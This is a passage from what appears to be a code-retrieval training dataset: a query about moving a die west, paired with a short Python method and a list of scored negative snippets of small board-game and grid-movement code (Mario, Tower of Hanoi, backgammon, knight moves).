Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\\n\\t\\tMario._pass(self.x,self.y)\\n\\t\\ttemp = self.x\\n\\t\\tflag = 0\\n\\t\\twhile(temp>=self.x-8):\\n\\t\\t\\tif(Board.board[temp][self.y] in obstacles):\\n\\t\\t\\t\\tflag = 1\\n\\t\\t\\t\\ttemp_x = temp+1\\n\\t\\t\\t\\tbreak\\n\\t\\t\\ttemp = temp-1\\n\\n\\t\\tif(not flag):\\n\\t\\t\\ttemp_x = self.x-8\\n\\n\\t\\tif Board.board[temp_x-1][self.y]=='B':\\n\\t\\t\\tnew = self.y\\n\\t\\t\\tfor i in range(new-4,new+5):\\n\\t\\t\\t\\tif Board.board[temp_x-1][i]=='B':\\n\\t\\t\\t\\t\\tBoard.board[temp_x-1][i]='T'\\n\\t\\t\\tMario.bonus+=50\\n\\t\\t\\tif self.y==229 or self.y ==230 or self.y==231:\\n\\t\\t\\t\\tBoard.board[23][230]='P'\\n\\n\\n\\t\\tBoard.board[temp_x][self.y] = 'M'\\t\\t\\n\\t\\tos.system('clear')\\n\\t\\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\",\n \"def move(self):\\n c = self.get_position()\\n\\n f = c['f']\\n if f == 'NORTH':\\n c['y'] += 1\\n elif f == 'EAST':\\n c['x'] += 1\\n elif f == 'SOUTH':\\n c['y'] -= 1\\n elif f == 'WEST':\\n c['x'] -= 1\\n\\n if self.valid_position(c):\\n self.update_position(c)\\n else:\\n raise ValueError('InvalidPosition')\",\n \"def make_move(self, row, column):\\n\\t\\tif self.board[int(row)][int(column)] == '-':\\n\\t\\t\\tself.board[int(row)][int(column)] = self.marker\\n\\t\\telse:\\n\\t\\t\\tprint(\\\"That spot is occupied, you messed up, you lose your turn for doing bad things\\\")\",\n \"def moveRight(self,board_object):\\n\\t\\tif checkClash(board_object,self,self.x,self.y+1) == 0:\\n\\t\\t\\toverlayMatrix(board_object,self,self.x,self.y+1)\\n\\t\\t\\tself.setPos(self.x,self.y+1)\\n\\t\\t\\tif self.y > board_object.start + 25: \\n\\t\\t\\t\\tboard_object.start += 1\\n\\t\\telse:\\n\\t\\t\\treturn 1\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.66633594","0.64686203","0.63465816","0.62308586","0.62223876","0.6176462","0.6172353","0.6140096","0.6131063","0.61120415","0.60808563","0.6079689","0.6059594","0.6036895","0.6030891","0.60288024","0.5989185","0.5989185","0.5975611","0.59711283","0.59445775","0.59235215","0.59228605","0.59217715","0.59197325","0.59095335","0.5896153","0.589608","0.5875303","0.5863518","0.58621204","0.5845273","0.583035","0.5778465","0.57720315","0.57508683","0.5748667","0.5746914","0.5746339","0.574078","0.5736597","0.573303","0.5724735","0.5723706","0.5722121","0.5717161","0.5717161","0.5717161","0.5714993","0.5706047","0.56948227","0.5692618","0.5691492","0.56844187","0.5680151","0.5678723","0.56707036","0.5670092","0.56604123","0.566005","0.5658852","0.56587464","0.56553984","0.5648627","0.5648388","0.56455165","0.5636181","0.5636091","0.5618946","0.56185025","0.5618266","0.5610621","0.5604452","0.56039107","0.5602672","0.5601097","0.5600977","0.55978614","0.5596127","0.5584377","0.55826044","0.5582041","0.5580046","0.5580046","0.55798715","0.55798626","0.5578076","0.5577299","0.5570756","0.5563188","0.5563188","0.5562895","0.55622005","0.5559697","0.55510634","0.55352795","0.5532035","0.552085","0.55145407","0.5511485"],"string":"[\n \"0.66633594\",\n \"0.64686203\",\n \"0.63465816\",\n \"0.62308586\",\n \"0.62223876\",\n \"0.6176462\",\n \"0.6172353\",\n \"0.6140096\",\n \"0.6131063\",\n \"0.61120415\",\n \"0.60808563\",\n \"0.6079689\",\n \"0.6059594\",\n \"0.6036895\",\n \"0.6030891\",\n \"0.60288024\",\n \"0.5989185\",\n \"0.5989185\",\n \"0.5975611\",\n \"0.59711283\",\n \"0.59445775\",\n \"0.59235215\",\n \"0.59228605\",\n \"0.59217715\",\n \"0.59197325\",\n \"0.59095335\",\n \"0.5896153\",\n \"0.589608\",\n \"0.5875303\",\n \"0.5863518\",\n \"0.58621204\",\n \"0.5845273\",\n \"0.583035\",\n \"0.5778465\",\n \"0.57720315\",\n \"0.57508683\",\n \"0.5748667\",\n \"0.5746914\",\n \"0.5746339\",\n \"0.574078\",\n \"0.5736597\",\n \"0.573303\",\n \"0.5724735\",\n \"0.5723706\",\n \"0.5722121\",\n \"0.5717161\",\n \"0.5717161\",\n \"0.5717161\",\n \"0.5714993\",\n \"0.5706047\",\n \"0.56948227\",\n \"0.5692618\",\n \"0.5691492\",\n \"0.56844187\",\n \"0.5680151\",\n \"0.5678723\",\n \"0.56707036\",\n \"0.5670092\",\n \"0.56604123\",\n \"0.566005\",\n \"0.5658852\",\n \"0.56587464\",\n \"0.56553984\",\n \"0.5648627\",\n \"0.5648388\",\n \"0.56455165\",\n \"0.5636181\",\n \"0.5636091\",\n \"0.5618946\",\n \"0.56185025\",\n \"0.5618266\",\n \"0.5610621\",\n \"0.5604452\",\n \"0.56039107\",\n \"0.5602672\",\n \"0.5601097\",\n \"0.5600977\",\n \"0.55978614\",\n \"0.5596127\",\n \"0.5584377\",\n \"0.55826044\",\n \"0.5582041\",\n \"0.5580046\",\n \"0.5580046\",\n \"0.55798715\",\n \"0.55798626\",\n \"0.5578076\",\n \"0.5577299\",\n \"0.5570756\",\n \"0.5563188\",\n \"0.5563188\",\n \"0.5562895\",\n \"0.55622005\",\n \"0.5559697\",\n \"0.55510634\",\n \"0.55352795\",\n \"0.5532035\",\n \"0.552085\",\n \"0.55145407\",\n \"0.5511485\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.63600254"},"document_rank":{"kind":"string","value":"2"}}},{"rowIdx":15385,"cells":{"query":{"kind":"string","value":"move this dice towered west"},"document":{"kind":"string","value":"def move_west(self):\n self.horizontal = (self.horizontal * 2)[1:5]\n self.vertical[0] = self.horizontal[1]\n self.vertical[2] = self.horizontal[3]"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def throw(self, move):\n for dice_index in move:\n self.dice[dice_index - 1] = random.randint(1,6)","def shift_board(self, dx, dy):\n super().shift_board(dx, dy)\n self.goals = np.roll(self.goals, dy, axis=0)\n self.goals = np.roll(self.goals, dx, axis=1)","def do_west(self, arg):\r\n moveDirection('west')","def move(self):\n \n self.position = self.wander()","def turn(self):\r\n # 1 throw the dice\r\n if (\r\n not self.player_list[self.current_player].is_in_jail()\r\n or self.try_leave_jail()\r\n ):\r\n thr = Throw()\r\n while thr is not None:\r\n # check in where the current player will land\r\n new_position = self.compute_new_position_from_dice(\r\n self.current_player, thr\r\n )\r\n self.move_player_to(self.current_player, new_position, thr=thr)\r\n\r\n if thr.is_double():\r\n thr = Throw()\r\n else:\r\n thr = None\r\n print(\"------------------------------\")\r\n\r\n self.player_observable_variables()\r\n\r\n # move turn to next player\r\n self.current_player += 1\r\n if self.current_player >= len(self.player_list):\r\n self.current_player = 0\r\n self.full_turn_count += 1\r\n print(\"**********************\")\r\n print(\r\n \"Full turn:\",\r\n self.full_turn_count,\r\n \"\\n\",\r\n \"\\n\".join(map(lambda x: x.full(), self.player_list)),\r\n )\r\n print(\"**********************\")","def moveWest(self):\n self._move('w', - Tile.HorizontalDifference)","def move_west(self):\r\n self.move(dx=-1, dy=0)","def make_turn(self):\n # if play first, start in the middle\n if np.count_nonzero(self.board) == 0:\n self.place_disc(self.board.shape[1] / 2)\n return 1\n\n\n # win if possible\n for try_column in range(0,self.board.shape[1]):\n if 0 == self.board[0, try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, self.id())\n if dhw.did_he_win(new_board, self.id(), try_column):\n self.place_disc(try_column)\n return 1\n\n # don't loose if in danger\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id())\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\n self.place_disc(try_column)\n return 1\n\n # don't fall in trap!\n forbidden_columns = []\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, self.id()) # my move\n new_board = self.simulate_place_disc(new_board, try_column, 3 - self.id()) # enemy move\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\n\n # don't ruin my trap\n for try_column in range(0, self.board.shape[1]):\n if 0 == self.board[0,try_column]:\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id()) # 'my' move\n new_board = self.simulate_place_disc(new_board, try_column, self.id()) # my move\n if dhw.did_he_win(new_board, self.id(), try_column):\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\n\n # allow forbidden_columns if no other choice\n if np.count_nonzero(self.board[0, :]) == self.board.shape[1] - len(forbidden_columns):\n forbidden_columns = []\n\n # otherwise, play randomly\n rannum = random.randrange(7)\n while 0 != self.board[0, rannum] or rannum in forbidden_columns:\n rannum = random.randrange(7)\n self.place_disc(rannum)\n return 1","def move(self):\r\n if self.d == 'NORTH' and (self.y + 1) <= table_max_y:\r\n self.y += 1\r\n elif self.d == 'EAST' and (self.x + 1) <= table_max_x:\r\n self.x += 1\r\n elif self.d == 'SOUTH' and (self.y - 1) >= 0:\r\n self.y -= 1\r\n elif self.d == 'WEST' and (self.x - 1) >= 0:\r\n self.x -= 1\r\n else:\r\n print(\"Edge of Table Reached!\")","def shift_board(self, dx, dy):\n self.board = np.roll(self.board, dy, axis=0)\n self.board = np.roll(self.board, dx, axis=1)\n self.agent_locs += [dy, dx]\n self.agent_locs %= self.board.shape\n self.update_exit_locs()","def moveWest(self):\n west = (self.current[0] - 1, self.current[1])\n mv = self.lab.west()\n self.check_grue(mv)\n self.current = west\n self.visited.add(self.current)","def move(self):\n if random.random() < 0.5:\n self.y = (self.y + 1) % 100\n else:\n self.y = (self.y - 1) % 100\n if random.random() < 0.5:\n self.x = (self.x + 1) % 100\n else:\n self.x = (self.x - 1) % 100","def fireWest(self):\n self.rotate('w')\n gun = Laser(self)\n gun.shoot('w')\n self.agent.actionCompleted()","def _move_randomly(self):\n a, b = randint(0, len(self.state) - 1), randint(0, len(self.state) - 1)\n wiz1, wiz2 = self.state[a], self.state[b]\n self._swap_wizards(wiz1, wiz2)","def _move(self, event):\n if self._current_tower.get_value() > self._coins:\n return\n\n #move the shadow tower to mouse position\n position = event.x, event.y\n self._current_tower.position = position\n\n legal, grid_path = self._game.attempt_placement(position)\n\n #find the best path and covert positions to pixel positions\n path = [self._game.grid.cell_to_pixel_centre(position)\n for position in grid_path.get_shortest()]\n\n #Task 1.2 (Tower placement): Draw the tower preview here\n self._view.draw_preview(self._current_tower, legal)\n self._view.draw_path(path)","def move_draught_end(event):\n global red_draughts, white_draughts\n global board_array\n global old_point\n global die_1_num, die_2_num, doubles\n draught = board.find_withtag(CURRENT)[0]\n #Figure out which point they want to put it on\n bottom = (event.y-click_offset[1] >= board_height//2)\n point_left_edges = [board_divisions*i for i in xrange(0,15) if i != 7]\n is_red = draught in red_draughts\n if bottom == False:\n new_point = 12+point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0])))\n else:\n new_point = 13-point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0]))) \n #Check legality\n if(board_array[new_point][1] > 1 and is_red) or (board_array[new_point][0] > 1 and not is_red): #if too many opposite color on square\n draw_draughts()\n return\n if(board_array[0][0] > 0 and is_red and old_point != 0)or(board_array[25][1] > 0 and not is_red and old_point != 25):#Obligated to move off bar first\n draw_draughts()\n return\n if(new_point == 0 and not is_red): #if white trying to bear off\n for i in xrange(7,26):\n if(board_array[i][1] > 0): #If white has a piece outside home, can't bear off\n draw_draughts()\n return\n if(new_point == 25 and is_red): #if red trying to bear off\n for i in xrange(0,18):\n if(board_array[i][0] > 0): #If red has a piece outside home, can't bear off\n draw_draughts()\n return \n \n if(new_point-old_point == die_1_num and is_red) or (old_point-new_point == die_1_num and not is_red):\n if(doubles == False) or (die_2_num != 0):\n die_1_num = 0\n else: \n die_2_num = die_1_num\n doubles = False\n elif(new_point-old_point == die_2_num and is_red) or (old_point-new_point == die_2_num and not is_red):\n if(doubles == False) or (die_1_num != 0):\n die_2_num = 0\n else: \n die_1_num = die_2_num\n doubles = False\n else: #Can't move there on this roll\n draw_draughts()\n return\n update_dice()\n #Update board_array\n if is_red:\n board_array[old_point][0] -= 1\n board_array[new_point][0] += 1\n if(board_array[new_point][1] == 1): #Handle hits\n board_array[new_point][1] -= 1\n board_array[25][1] += 1\n else:\n board_array[old_point][1] -= 1\n board_array[new_point][1] += 1\n if(board_array[new_point][0] == 1): #Handle hits\n board_array[new_point][0] -= 1\n board_array[0][0] += 1\n\n draw_draughts()\n if(die_1_num == 0 and die_2_num == 0):\n comp_turn()","def move(self):\n if self._z >= 75:\n a = random.random()\n print(str(a))\n if a < 0.2:\n self._z += 1\n if a > 0.2 and a < 0.9:\n self._z -= 1\n if a > 0.9:\n self._z = self._z\n else: \n self._z -= 1\n \n b = random.random()\n print(str(b))\n if b < 0.1:\n self._y += 1\n if b > 0.1 and b < 0.2:\n self._y -= 1\n if b > 0.2 and b < 0.25:\n self._x -= 1\n if b > 0.25:\n self._x += 1","def move_tie_fighters(self):\n for i in range(len(self.tie_fighters)):\n self.tie_fighters[i].move_tie_fighter()","def wander(self):\n \n has_new_pos = False\n while not has_new_pos:\n move = random.choice(self.moves)\n new_pos = add_lists(move, self.position)\n has_new_pos = check_bounds(new_pos, self.grid_size)\n return new_pos","def move(self):\n if self.adjustment > 0:\n # The player moves up a ladder\n old_position = self.position\n # In the next move, player on top of ladder\n\n self.position = old_position - self.dropped_steps\n # player drops steps\n super().move()\n # player move\n die = self.position - old_position + self.dropped_steps - \\\n self.adjustment\n \"\"\" \n the current position of the player is: old position - \n dropped_steps + die + adjustment. Rearranging to find the die.\n \n \"\"\"\n if die < self.dropped_steps:\n self.position = old_position\n # if die is less than dropped_steps, the player will stand still.\n else:\n super().move()\n # if not climbling a ladder, then the player make a regular move","def make_move(self, tower):\r\n height, index = self.__find_random_moves(tower)\r\n \r\n if self.stat_brain.all_valid(tower) == 0 or self.stat_brain.is_valid(height, index, tower):\r\n return height, index\r\n else:\r\n while not self.stat_brain.is_valid(height, index, tower):\r\n height, index = self.__find_random_moves(tower)\r\n \r\n return height, index","def hanoi_tower(n):\n def move_tower(height, from_pole, to_pole, with_pole):\n if height >= 1:\n move_tower(height-1, from_pole, with_pole, to_pole)\n move_disc(from_pole, to_pole, height)\n move_tower(height-1, with_pole, to_pole, from_pole)\n\n def move_disc(fp, tp, height):\n tp.append(fp.pop())\n show_poles()\n\n def show_poles():\n line = \"\"\n line += '{:<{}s}'.format(str(a), str_len)\n line += '{:<{}s}'.format(str(b), str_len)\n line += '{:<{}s}'.format(str(c), str_len)\n print(line)\n\n a = list(range(n, 0, -1))\n b = []\n c = []\n str_len = len(str(a))\n\n show_poles()\n move_tower(n, a, c, b)\n print('\\n')","def steerright(self):\n self.direction = self.direction-self.steering\n if self.direction < 0:\n self.direction = 360-90\n self.image, self.rect = rot_center(self.image_orig,self.rect,self.direction)","def test_move_knight_legally(self):\n self.c.board[6] = [(0, 0) for i in range(8)]\n for piece in [('N', True), ('N', False)]:\n self.c.turn = piece[1]\n self.c.board[4][4] = piece\n for dest in ['d6', 'f6', 'c5', 'g5', 'c3', 'g3', 'd2', 'f2']:\n self.groups['dest'] = dest\n self.assertEqual(self.c._knight_evaluator(self.groups), (4, 4))","def move_of_king_and_rook(self, from_row, from_col, to_row, to_col): \n #provjere da li su kraljevi ili topovi inicirali pomijeranje\n if(from_row == 7 and from_col == 0):\n self.wrl_moved = True\n elif(from_row == 7 and from_col == 7):\n self.wrr_moved = True\n elif(from_row == 7 and from_col == 4):\n self.wk_moved = True\n elif(from_row == 0 and from_col == 0):\n self.brl_moved = True\n elif(from_row == 0 and from_col == 7):\n self.brr_moved = True\n elif(from_row == 0 and from_col == 4):\n self.bk_moved = True\n \n #provjera da li je neko pojeo topove\n if(to_row == 7 and to_col == 0):\n self.wrl_moved = True\n elif(to_row == 7 and to_col == 7):\n self.wrr_moved = True\n elif(to_row == 0 and to_col == 0):\n self.brl_moved = True\n elif(to_row == 0 and to_col == 7):\n self.brr_moved = True","def _shift_wall_wind(self):\n assert self.wall_wind is not None, 'Please select wall to open first'\n\n wall_index = ALL_WINDS.index(self.wall_wind)\n\n if wall_index == 0:\n wall_index = len(ALL_WINDS) - 1\n else:\n wall_index -= 1\n\n self.wall_wind = ALL_WINDS[wall_index]\n\n return self.wall_wind","def dest(side):\n return (side - 1) % 3 # cw(side)","def turn_ship_left(self):\n self.degrees += movement","def turn_ship_right(self):\n self.degrees -= movement","def turn_around():\n for i in range(2):\n turn_left()","def migration(self):\n\n coordinates = self.get_random_coordinates()\n for coordinate in coordinates:\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\n self.cell_move_herbivores(coordinate)\n self.cell_move_carnivores(coordinate)\n\n for coordinate in coordinates:\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\n self.cells[coordinate].move_new_animals()","def moveSouth(self):\n south = (self.current[0], self.current[1] + 1)\n mv = self.lab.south()\n self.check_grue(mv)\n self.current = south\n self.visited.add(self.current)","def _shift_wall_index(self):\n if self.wall_index > 0:\n self.wall_index -= 1\n else:\n self._shift_wall_wind()\n self.wall_index = len(self.current_wall) - 1","def moveSouth(self):\n self._move('s', Tile.VerticalDifference)","def towel_of_hanoi(n):\n degs = [[n - i for i in range(n)], [], []]\n move(degs, 0, 2, n)","def move(self):\n\n # get the location we WOULD go to\n newX = self.xcor() + self.dx\n newY = self.ycor() + self.dy\n while (abs (newX) > self.BOX_RANGE) or (abs(newY) > self.BOX_RANGE):\n # print(\"choosing new direction... \",end=\"\")\n self.chooseNewDirection()\n # print(self.dx, self.dy)\n newX = self.xcor() + self.dx\n newY = self.ycor() + self.dy\n\n # now move our monster\n super().move()","def move(self):\n self._move_range_shuffle(3)\n self._move_satisfy_random_constraint()\n # self._move_range_shuffle(3)\n #if (curr_energy > 50):\n # self._move_satisfy_random_constraint()\n #else:\n # self._move_range_shuffle(3)","def move(self, direction):\n newx = self.x\n newy = self.y\n newy += random.randint(-1, 1)\n newx += random.randint(-1, 1)\n if self.tmap.contents[newy][newx] != '#':\n self.x = newx\n self.y = newy","def fireSouth(self):\n self.rotate('s')\n gun = Laser(self)\n gun.shoot('s')\n self.agent.actionCompleted()","def walk(self):\n # === Choose direction ===\n # Increase probability of movement relative to map dimensions\n v_move = self.width / self.height\n h_move = self.height / self.width\n north, south, east, west = v_move, v_move, h_move, h_move\n\n # Weight the random walk against the edges\n if self.drunkard_x < self.width * 0.25: # far left side of map\n east += self.weighted_toward_center\n elif self.drunkard_x > self.width * 0.75: # far right side of map\n west += self.weighted_toward_center\n if self.drunkard_y < self.height * 0.25: # top of the map\n south += self.weighted_toward_center\n elif self.drunkard_y > self.height * 0.75: # bottom of the map\n north += self.weighted_toward_center\n\n # Weight in favor of the previous direction\n if self._prev_direction == \"north\":\n north += self.weighted_toward_prev_direction\n if self._prev_direction == \"south\":\n south += self.weighted_toward_prev_direction\n if self._prev_direction == \"east\":\n east += self.weighted_toward_prev_direction\n if self._prev_direction == \"west\":\n west += self.weighted_toward_prev_direction\n\n weights = [south, north, east, west]\n moves = {\"south\": (0, 1), \"north\": (0, -1), \"east\": (1, 0), \"west\": (-1, 0)}\n\n direction = choices(list(moves.keys()), weights)[0]\n dx, dy = moves[direction]\n\n # === Walk ===\n # check collision at edges\n if (1 < self.drunkard_x + dx < self.width - 1) and (1 < self.drunkard_y + dy < self.height - 1):\n self.drunkard_x += dx\n self.drunkard_y += dy\n if self.tiles[self.drunkard_x][self.drunkard_y]:\n self.tiles[self.drunkard_x][self.drunkard_y].carve()\n self._tiles_filled += 1\n self._prev_direction = direction","def move(self, direction: str) -> int:\n x, y = self.snake[-1][0] + self.dirs[direction][0], self.snake[-1][1] + self.dirs[direction][1]\n # print(x,y)\n # went out bound\n if x >= self.n or y >= self.m or x < 0 or y < 0:\n return -1\n tail = self.snake.popleft()\n self.snake_set.discard(tail)\n if (x, y) in self.snake_set:\n return -1\n\n if len(self.food) > 0 and (x, y) == (self.food[0][0], self.food[0][1]):\n self.food.popleft()\n self.snake.appendleft(tail)\n self.snake_set.add(tail)\n self.snake.append((x, y))\n self.snake_set.add((x, y))\n\n return len(self.snake) - 1","def move_lift_ground():\n return _move_lift(0)","def go_up(self):\n\t\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\n\t\tMario._pass(self.x,self.y)\n\t\ttemp = self.x\n\t\tflag = 0\n\t\twhile(temp>=self.x-8):\n\t\t\tif(Board.board[temp][self.y] in obstacles):\n\t\t\t\tflag = 1\n\t\t\t\ttemp_x = temp+1\n\t\t\t\tbreak\n\t\t\ttemp = temp-1\n\n\t\tif(not flag):\n\t\t\ttemp_x = self.x-8\n\n\t\tif Board.board[temp_x-1][self.y]=='B':\n\t\t\tnew = self.y\n\t\t\tfor i in range(new-4,new+5):\n\t\t\t\tif Board.board[temp_x-1][i]=='B':\n\t\t\t\t\tBoard.board[temp_x-1][i]='T'\n\t\t\tMario.bonus+=50\n\t\t\tif self.y==229 or self.y ==230 or self.y==231:\n\t\t\t\tBoard.board[23][230]='P'\n\n\n\t\tBoard.board[temp_x][self.y] = 'M'\t\t\n\t\tos.system('clear')\n\t\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)","def test_move_onto_terrain(self):\n # move onto Water (1 extra)\n b1 = board.Board(self.small_ter)\n start = np.array((0, 3), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 2\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertTrue(isvalid)\n self.assertEqual(cost, 2)\n\n # move onto Lava (4 extra)\n start = np.array((3, 4), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 0\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertTrue(isvalid)\n self.assertEqual(cost, 5)\n\n # move onto Barrier (illegal)\n start = np.array((1, 4), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 1\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertFalse(isvalid)\n\n # move onto Rock (illegal)\n start = np.array((1, 0), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 7\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertFalse(isvalid)","def make_move(self, move):\n self.board[int(move) - 1] = self.nplayer","def move(self):\n self.pos += self.direc\n self.nearest_node = self.pixel_to_node()","def movev2(self, abz_increase, abz_decrease, bbz_increase, bbz_decrease, north, south, west):\n if self._z >= 75:\n a = random.randint(1, 100)\n# print(str(a))\n if a <= abz_increase:\n self._z += 1\n if a > abz_increase and a <= (abz_increase + abz_decrease):\n self._z -= 1\n if a > (abz_increase + abz_decrease):\n self._z = self._z\n else:\n c = random.randint(1, 100)\n# print(str(c))\n if c <= bbz_increase:\n self._z += 1\n if c > bbz_increase and c <= (bbz_increase + bbz_decrease):\n self._z -= 1\n if c > (bbz_increase + bbz_decrease):\n self._z = self._z\n self._z -= 1\n \n b = random.randint(1, 100)\n# print(str(b))\n if b <= north:\n self._y += 1\n if b > north and b <= (north + south):\n self._y -= 1\n if b > (north + south) and b <= (north + south + west):\n self._x -= 1\n if b > (north + south + west):\n self._x += 1","def move(self):\n pass","def _change_fleet_direction(self): \n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1","def test_move_over_terrain(self):\n # move over Water (0 extra)\n b1 = board.Board(self.small_ter)\n start = np.array((0, 1), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 1\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertTrue(isvalid)\n self.assertEqual(cost, 1)\n #\n # move over Lava (0 extra)\n start = np.array((5, 4), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 6\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertTrue(isvalid)\n self.assertEqual(cost, 1)\n #\n # move over Barrier (illegal)\n start = np.array((2, 3), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 0\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertFalse(isvalid)\n #\n # move over Rock (0 extra)\n start = np.array((2, 3), dtype='int')\n k1 = knight.Knight(b1, start)\n # set move choice\n move_choice = 2\n # determine move validity and cost\n (cost, isvalid) = k1.validate_move(move_choice)\n self.assertTrue(isvalid)\n self.assertEqual(cost, 1)","def make_move(self, move):\n if int(move) < 0 or int(move) > 48 or self.board[int(move) // 7][int(move) % 7] != \"\" or int(move) % 2 == 0:\n raise ValueError(\"{} is not a valid move for {}\".format(move, self.board))\n DotsAndBoxesState.score1 += self.check_score(move)\n self.board[int(move) // 7][int(move) % 7] = colors[self.turn] + self.turn + \"\\u001b[0m\"\n self.turn = get_opponent(self.turn) #change into another player's trun","def move(self):\n assert self.is_alive, \"Sprite is dead, and should not be able to move\"\n if self.health > 3:\n self.y += random.randint(-1, 1) # change by -1, 0, 1\n self.x += random.randint(-1, 1) # change by -1, 0, 1\n print(self.name, \"moves to position\", str(self.x), \",\", str(self.y))","def roll_dices(self):\n dice1 = random.randint(1, 6)\n dice2 = random.randint(1, 6)\n\n self.client.send_player_end_dices()\n self.game.player_rolled_dices([dice1, dice2])\n asyncio.ensure_future(self.move(dice1 + dice2))","def moveTower(self, height, fromPole, toPole, withPole, moves, peg_num_disks):\n def moveDisk(fromPole, toPole):\n peg_num_disks[fromPole] = peg_num_disks[fromPole] - 1\n moves.append([ fromPole, peg_num_disks[fromPole] ])\n moves.append([ toPole, peg_num_disks[toPole] ])\n peg_num_disks[toPole] = peg_num_disks[toPole] + 1\n return moves, peg_num_disks\n \n if height >= 1:\n moves, peg_num_disks = self.moveTower(height-1, fromPole, withPole, \n toPole, moves, peg_num_disks)\n moves, peg_num_disks = moveDisk(fromPole, toPole)\n moves, peg_num_disks = self.moveTower(height-1, withPole, toPole, \n fromPole, moves, peg_num_disks)\n return moves, peg_num_disks","def _move_forward(self):\n\t\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\n\t\tif(self.y<=798):\n\t\t\tself.y = self.y+1\n\t\t\tif Board.board[self.x][self.y]=='0':\n\t\t\t\tMario.score += 1\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y]='M'\n\n\t\t\telif Board.board[self.x][self.y]=='P':\n\t\t\t\tMario.lives+=1\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y]='M'\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_1-up.wav\"])\n\n\t\t\telif Board.board[self.x][self.y]=='A':\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y]='M'\n\t\t\t\tMario.attack = 1\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_powerup.wav\"])\n\n\t\t\telif Board.board[self.x][self.y]=='@':\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tMario.lives-=1\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_mariodie.wav\"])\n\t\t\t\tif Mario.lives<=0:\n\t\t\t\t\tcall([\"aplay\",\"-q\",\"smb_gameover.wav\"])\n\t\t\t\t\treturn \"exit\"\n\t\t\t\tos.system('clear')\n\t\t\t\tprint(\"\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tNumber of Mario left\",Mario.lives)\n\t\t\t\tMario.respawn(self.x,self.y)\n\t\t\t\ttime.sleep(2)\n\t\t\t\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\n\n\t\t\telif(Board.board[self.x][self.y]=='/'):\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x-1][self.y]='M'\n\n\t\t\telif Board.board[self.x][self.y]=='I':\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_stage_clear.wav\"])\n\t\t\t\tBoard.bonus_round()\n\n\t\t\telif Board.board[self.x][self.y]=='K':\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_stage_clear.wav\"])\n\t\t\t\tenemy.boss_round()\n\n\t\t\telif(Board.board[self.x][self.y] in obstacles):\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y-1]='M'\n\n\t\t\telif((Board.board[self.x+1][self.y-1]=='/' or Board.board[self.x+1][self.y-1]=='T') and Board.board[self.x+1][self.y]==' '):\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y+1]='M'\n\t\t\t\tMario.go_down(self)\n\t\t\telse:\n\t\t\t\tMario._pass(self.x,self.y-1)\n\t\t\t\tBoard.board[self.x][self.y]='M'\n\n\t\tif( self.y-1 >= ((Board.prev_j+Board.prev_k)/2) ):\n\t\t\tos.system('clear')\n\t\t\tBoard.prev_j += 1 \n\t\t\tBoard.prev_k += 